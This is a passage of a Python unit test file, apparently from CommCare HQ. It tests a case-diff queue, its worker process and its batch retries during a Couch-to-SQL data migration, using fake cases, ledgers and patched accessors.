self.assertDiffed({"a": 2, "b": 1})
def test_unexpected_case_update_scenario_2(self):
self.add_cases("a", "f0")
self.add_cases("b", "f1")
with self.queue() as queue:
queue.update({"a", "b"}, "f0") # unexpected update first time b is seen
queue.flush(complete=False)
self.assertDiffed("a b")
queue.update({"b"}, "f1")
self.assertDiffed({"a": 1, "b": 2})
def test_missing_couch_case(self):
self.add_cases("found", "form")
with self.queue() as queue:
queue.update({"miss", "found"}, "form")
self.assertDiffed("found")
missing = queue.statedb.get_missing_doc_ids("CommCareCase-couch")
self.assertEqual(missing, {"miss"})
def test_case_action_with_null_xform_id(self):
self.add_cases("a", actions=[FakeAction(None), FakeAction("f0")])
self.add_cases("b c", "f1")
with self.queue() as queue:
queue.update({"a"}, "f0")
queue.update(["b", "c"], "f1")
queue.flush(complete=False)
self.assertDiffed("a b c")
def test_case_with_stock_forms(self):
self.add_cases("a", "f0", stock_forms="f1")
self.add_cases("b c", "f2")
with self.queue() as queue:
queue.update({"a"}, "f0")
queue.update(["b", "c"], "f2")
queue.flush(complete=False)
self.assertDiffed("b c")
queue.update({"a"}, "f1")
queue.flush(complete=False)
self.assertDiffed("a b c")
def test_case_with_many_forms(self):
self.add_cases("a", ["f%s" % n for n in range(25)])
self.add_cases("b c d", "f2")
with self.queue() as queue:
queue.update({"a"}, "f0")
queue.update(["b", "c", "d"], "f2")
queue.flush(complete=False)
self.assertDiffed("b c d")
self.assertNotIn("a", queue.cases)
for n in range(1, 25):
queue.update({"a"}, "f%s" % n)
queue.flush(complete=False)
self.assertDiffed("a b c d")
def test_resume_on_case_with_many_forms(self):
self.add_cases("a", ["f%s" % n for n in range(25)])
self.add_cases("b c d", "f2")
with self.assertRaises(Error), self.queue() as queue:
queue.update({"a"}, "f0")
queue.update(["b", "c", "d"], "f2")
queue.flush(complete=False)
mock = patch.object(queue, "process_remaining_diffs").start()
mock.side_effect = Error("cannot process remaining diffs")
self.assertDiffed("b c d")
queue.pool.kill() # simulate end process
with self.queue() as queue:
queue.flush(complete=False)
self.assertNotIn("a", queue.cases)
for n in range(1, 25):
queue.update({"a"}, "f%s" % n)
queue.flush(complete=False)
self.assertDiffed("a b c d")
def test_cases_cache_max_size(self):
self.add_cases("a b c d e f", ["f0", "f1"])
patch_max_cases = patch.object(mod.CaseDiffQueue, "MAX_MEMORIZED_CASES", 4)
with patch_max_cases, self.queue() as queue:
queue.update({"a", "b", "c", "d", "e", "f"}, "f0")
queue.flush(complete=False)
self.assertEqual(len(queue.cases), 4, queue.cases)
self.assertDiffed([])
queue.update({"a", "b", "c", "d", "e", "f"}, "f1")
self.assertDiffed("a b c d e f")
def test_cases_lru_cache(self):
# forms fa-ff update corresponding cases
for case_id in "abcdef":
self.add_cases(case_id, "f%s" % case_id)
# forms f1-f5 update case a
for i in range(1, 6):
self.add_cases("a", "f%s" % i)
self.add_cases("a b c d e f", "fx")
patch_max_cases = patch.object(mod.CaseDiffQueue, "MAX_MEMORIZED_CASES", 4)
with patch_max_cases, self.queue() as queue:
for i, case_id in enumerate("abcdef"):
queue.update(case_id, "f%s" % case_id)
if i > 0:
# keep "a" fresh in the LRU cache
queue.update("a", "f%s" % i)
queue.flush(complete=False)
self.assertIn("a", queue.cases)
self.assertNotIn("b", queue.cases)
self.assertNotIn("c", queue.cases)
self.assertDiffed([])
queue.update({"a", "b", "c", "d", "e", "f"}, "fx")
self.assertDiffed("a b c d e f")
def test_case_with_many_unprocessed_forms(self):
self.add_cases("a", ["f%s" % n for n in range(25)])
self.add_cases("b c d", "f2")
with self.queue() as queue:
queue.update({"a"}, "f0")
queue.update(["b", "c", "d"], "f2")
self.assertDiffed("a b c d")
def test_case_with_new_forms_since_first_seen(self):
self.add_cases("a b", "f0")
self.add_cases("a b c d", "f1")
self.add_cases("e f g h", "f2")
with self.queue() as queue:
queue.update({"a", "b"}, "f0")
queue.flush(complete=False)
self.assertDiffed([])
self.add_cases("b", "fx")
queue.update(["a", "b", "c", "d"], "f1")
flush(queue.pool)
flush(queue.diff_pool)
self.assertDiffed("a c d")
queue.update(["b"], "fx")
queue.update(["e", "f", "g", "h"], "f2")
flush(queue.pool)
flush(queue.diff_pool)
self.assertDiffed("a b c d e")
self.assertDiffed("a b c d e f g h")
def test_status_logger(self):
event = Event()
with patch.object(mod, "log_status") as log_status:
log_status.side_effect = lambda x: event.set()
with mod.CaseDiffQueue(self.statedb, status_interval=0.00001):
self.assertTrue(event.wait(timeout=5), "queue.log_status() not called")
self.assertGreater(log_status.call_count, 0)
@contextmanager
def queue(self):
log.info("init CaseDiffQueue")
with mod.CaseDiffQueue(self.statedb) as queue:
try:
yield queue
except Exception as err:
log.error("%s: %s", type(err).__name__, err)
raise
def add_cases(self, case_ids, xform_ids=(), actions=(), stock_forms=()):
"""Add cases with updating form ids
`case_ids` and `form_ids` can be either a string (space-
delimited ids) or a sequence of strings (ids).
"""
if isinstance(case_ids, str):
case_ids = case_ids.split()
if isinstance(xform_ids, str):
xform_ids = xform_ids.split()
if isinstance(stock_forms, str):
stock_forms = stock_forms.split()
for case_id in case_ids:
if case_id in self.cases:
case = self.cases[case_id]
else:
case = self.cases[case_id] = FakeCase(case_id)
for fid in xform_ids:
assert fid not in case.xform_ids, (fid, case)
case.xform_ids.append(fid)
case.actions.extend(actions)
self.stock_forms[case_id].update(stock_forms)
def get_cases(self, case_ids):
def get(case_id):
try:
case = self.cases[case_id]
log.info("get %s", case)
except KeyError:
case = None
except Exception as err:
log.info("get %s -> %s", case_id, err)
raise
return case
cases = (get(case_id) for case_id in case_ids)
return [c for c in cases if c is not None]
def get_stock_forms(self, case_ids):
return dict(self.stock_forms)
def diff_cases(self, cases, statedb):
log.info("diff cases %s", list(cases))
for case in cases.values():
case_id = case["_id"]
self.diffed[case_id] += 1
def assertDiffed(self, spec):
if not isinstance(spec, dict):
if isinstance(spec, str):
spec = spec.split()
spec = {c: 1 for c in spec}
self.assertEqual(dict(self.diffed), spec)
@contextmanager
def get_cases_failure(self):
"""Raise error on CaseAccessorCouch.get_cases(...)
Assumes `CaseAccessorCouch.get_cases` has been patched with
`self.get_cases`.
"""
with self.expected_error(), patch.object(self, "cases") as couch:
couch.__getitem__.side_effect = Error("COUCH IS DOWN!")
yield
@contextmanager
def diff_cases_failure(self):
"""Raise error on self.diff_cases(...)"""
with self.expected_error(), patch.object(self, "diffed") as diffed:
diffed.__setitem__.side_effect = Error("FAILED TO DIFF!")
yield
@contextmanager
def expected_error(self):
with silence_expected_errors(), self.assertRaises(Error):
yield
@patch.object(gevent.get_hub(), "SYSTEM_ERROR", BaseException)
class TestCaseDiffProcess(SimpleTestCase):
@classmethod
def setUpClass(cls):
super(TestCaseDiffProcess, cls).setUpClass()
cls.tmp = tempdir()
cls.state_dir = cls.tmp.__enter__()
@classmethod
def tearDownClass(cls):
cls.tmp.__exit__(None, None, None)
super(TestCaseDiffProcess, cls).tearDownClass()
def tearDown(self):
db_paths = glob(os.path.join(self.state_dir, "db", "*"))
for path in db_paths + self.get_log_files():
assert os.path.isabs(path), path
os.remove(path)
super(TestCaseDiffProcess, self).tearDown()
def test_process(self):
with self.process() as proc:
self.assertEqual(proc.get_status(), [0, 0, 0])
proc.update({"case1", "case2"}, "form")
proc.enqueue("case")
self.assertEqual(proc.get_status(), [2, 1, 0])
def test_process_statedb(self):
with self.process() as proc1:
self.assertEqual(proc1.get_status(), [0, 0, 0])
proc1.enqueue("case")
self.assertEqual(proc1.get_status(), [0, 1, 0])
with self.process() as proc2:
self.assertEqual(proc2.get_status(), [0, 1, 0])
proc2.enqueue("case")
self.assertEqual(proc2.get_status(), [0, 2, 0])
def test_process_not_allowed(self):
with init_state_db("test", self.state_dir) as statedb:
with mod.CaseDiffQueue(statedb):
pass
with init_state_db("test", self.state_dir) as statedb:
with self.assertRaises(mod.ProcessNotAllowed):
mod.CaseDiffProcess(statedb)
def test_clean_break(self):
with self.process() as proc:
self.assertEqual(proc.get_status(), [0, 0, 0])
os.kill(proc.process.pid, SIGINT)
self.assertEqual(proc.get_status(), [0, 0, 1])
def test_fake_case_diff_queue_interface(self):
tested = set()
for name in dir(FakeCaseDiffQueue):
if name.startswith("_"):
continue
tested.add(name)
fake = getattr(FakeCaseDiffQueue, name)
real = getattr(mod.CaseDiffQueue, name)
self.assertEqual(signature(fake), signature(real))
self.assertEqual(tested, {"update", "enqueue", "get_status"})
@contextmanager
def process(self):
def log_status(status):
log.info("status: %s", status)
cached = status.pop("cached")
assert cached == "0/0", cached
keys = ["pending", "loaded", "diffed"]
assert set(keys) == set(status), status
status_queue.put([status[k] for k in keys])
def get_status():
proc.request_status()
return status_queue.get(timeout=5)
status_queue = Queue()
try:
with init_state_db("test", self.state_dir) as statedb, \
patch.object(mod, "log_status", log_status), \
mod.CaseDiffProcess(statedb, FakeCaseDiffQueue) as proc:
status_queue.get(timeout=5)
assert not hasattr(proc, "get_status"), proc
proc.get_status = get_status
yield proc
finally:
print(f"{' diff process logs ':-^40}")
for log_file in self.get_log_files():
print("#", log_file)
with open(log_file, encoding="utf-8") as fh:
print(fh.read())
print(f"{' end diff process logs ':-^40}")
def get_log_files(self):
return glob(os.path.join(self.state_dir, "*-casediff.log"))
class FakeCaseDiffQueue(object):
def __init__(self, statedb, status_interval=None):
self.statedb = statedb
self.stats = {"pending": 0, "cached": "0/0", "loaded": 0, "diffed": 0}
self.clean_break = False
def __enter__(self):
with self.statedb.pop_resume_state(type(self).__name__, {}) as state:
if "stats" in state:
self.stats = state["stats"]
return self
def __exit__(self, *exc_info):
self.statedb.set_resume_state(type(self).__name__, {"stats": self.stats})
def update(self, case_ids, form_id):
self.stats["pending"] += len(case_ids)
def enqueue(self, case_id, num_forms=None):
self.stats["loaded"] += 1
def get_status(self):
if self.clean_break:
self.stats["diffed"] = 1
return self.stats
@patch.object(gevent.get_hub(), "SYSTEM_ERROR", BaseException)
class TestBatchProcessor(SimpleTestCase):
def setUp(self):
super(TestBatchProcessor, self).setUp()
self.proc = mod.BatchProcessor(mod.Pool())
def test_retry_batch(self):
def do(thing):
tries.append(1)
if len(tries) < 2:
raise Error("cannot do thing the first time")
done.append(thing)
tries = []
done = []
self.proc.spawn(do, "thing")
flush(self.proc.pool)
self.assertEqual(len(tries), 2)
self.assertEqual(done, ["thing"])
def test_batch_max_retries(self):
def do(thing):
tries.append(1)
raise Error("cannot do thing... ever")
tries = []
self.proc.spawn(do, "thing")
with silence_expected_errors(), self.assertRaises(Error):
flush(self.proc.pool)
self.assertEqual(len(tries), 3)
class TestDiffCases(SimpleTestCase):
def setUp(self):
super(TestDiffCases, self).setUp()
self.patches = [
patch(
"corehq.form_processor.backends.sql.dbaccessors.CaseAccessorSQL.get_cases",
self.get_sql_cases,
),
patch(
"corehq.form_processor.backends.sql.dbaccessors"
".LedgerAccessorSQL.get_ledger_values_for_cases",
self.get_sql_ledgers,
),
patch(
"corehq.apps.commtrack.models.StockState.objects.filter",
self.get_stock_states,
),
patch(
"corehq.form_processor.backends.couch.processor"
".FormProcessorCouch.hard_rebuild_case",
self.hard_rebuild_case,
),
]
for patcher in self.patches:
patcher.start()
self.statedb = StateDB.init(":memory:")
self.sql_cases = {}
self.sql_ledgers = {}
self.couch_cases = {}
self.couch_ledgers = {}
def tearDown(self):
for patcher in self.patches:
patcher.stop()
self.statedb.close()
super(TestDiffCases, self).tearDown()
def test_clean(self):
self.add_case("a")
mod.diff_cases(self.couch_cases, self.statedb)
self.assert_diffs()
def test_diff(self):
couch_json = self.add_case("a", prop=1)
couch_json["prop"] = 2
mod.diff_cases(self.couch_cases, self.statedb)
self.assert_diffs([Diff("a", path=["prop"], old=2, new=1)])
def test_replace_diff(self):
self.add_case("a", prop=1)
different_cases = deepcopy(self.couch_cases)
different_cases["a"]["prop"] = 2
mod.diff_cases(different_cases, self.statedb)
self.assert_diffs([Diff("a", path=["prop"], old=2, new=1)])
mod.diff_cases(self.couch_cases, self.statedb)
self.assert_diffs()
def test_replace_ledger_diff(self):
self.add_case("a")
stock = self.add_ledger("a", x=1)
stock.values["x"] = 2
mod.diff_cases(self.couch_cases, self.statedb)
self.assert_diffs([Diff("a/stock/a", "stock state", path=["x"], old=2, new=1)])
stock.values["x"] = 1
mod.diff_cases(self.couch_cases, self.statedb)
self.assert_diffs()
def assert_diffs(self, expected=None):
actual = [
Diff(diff.doc_id, diff.kind, *diff.json_diff)
for diff in self.statedb.get_diffs()
]
self.assertEqual(actual, expected or [])
def add_case(self, case_id, **props):
assert case_id not in self.sql_cases, self.sql_cases[case_id]
assert case_id not in self.couch_cases, self.couch_cases[case_id]
props.setdefault("doc_type", "CommCareCase")
self.sql_cases[case_id] = Config(
case_id=case_id,
props=props,
to_json=lambda: dict(props, case_id=case_id),
is_deleted=False,
)
self.couch_cases[case_id] = couch_case = dict(props, case_id=case_id)
return couch_case
def add_ledger(self, case_id, **values):
ref = UniqueLedgerReference(case_id, "stock", case_id)
self.sql_ledgers[case_id] = Config(
ledger_reference=ref,
values=values,
to_json=lambda: dict(values, ledger_reference=ref.as_id()),
)
couch_values = dict(values)
stock = Config(
ledger_reference=ref,
values=couch_values,
to_json=lambda: dict(couch_values, ledger_reference=ref.as_id()),
)
self.couch_ledgers[case_id] = stock
return stock
def get_sql_cases(self, case_ids):
return [self.sql_cases[c] for c in case_ids]
def get_sql_ledgers(self, case_ids):
ledgers = self.sql_ledgers
return [ledgers[c] for c in case_ids if c in ledgers]
def get_stock_states(self, case_id__in):
ledgers = self.couch_ledgers
return [ledgers[c] for c in case_id__in if c in ledgers]
def hard_rebuild_case(self, domain, case_id, *args, **kw):
return Config(to_json=lambda: self.couch_cases[case_id])
@attr.s
class Diff(object):
doc_id = attr.ib()
kind = attr.ib(default="CommCareCase")
type = attr.ib(default="diff")
path = attr.ib(factory=list)
old = attr.ib(default=None)
new = attr.ib(default=None)
@attr.s
class FakeCase(object):
_id = attr.ib()
xform_ids = attr.ib(factory=list)
actions = attr.ib(factory=list)
@property
def case_id(self):
return self._id
def to_json(self):
data = {n: getattr(self, n) for n in ["_id", "xform_ids"]}
data["actions"] = [a.to_json() for a in self.actions]
return data
@attr.s
class FakeAction(object):
xform_id = attr.ib()
def to_json(self):
return {"xform_id": self.xform_id}
DIFFS = [FormJsonDiff("diff", ["prop"], "old", "new")]
class Error(Exception):
pass
@contextmanager
def silence_expected_errors():
"""Prevent print expected error to stderr
not sure why it is not captured by nose
"""
def print_unexpected(context, type, value, tb):
if type == Error:
log.error(context, exc_info=(type, value, tb))
else:
print_exception(context, type, value, tb)
hub = gevent.get_hub()
print_exception = hub.print_exception
with patch.object(hub, "print_exception", print_unexpected):
yield
def flush(pool):
while not pool.join(timeout=1):
log.info('waiting on {} case diff workers'.format(len(pool)))
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.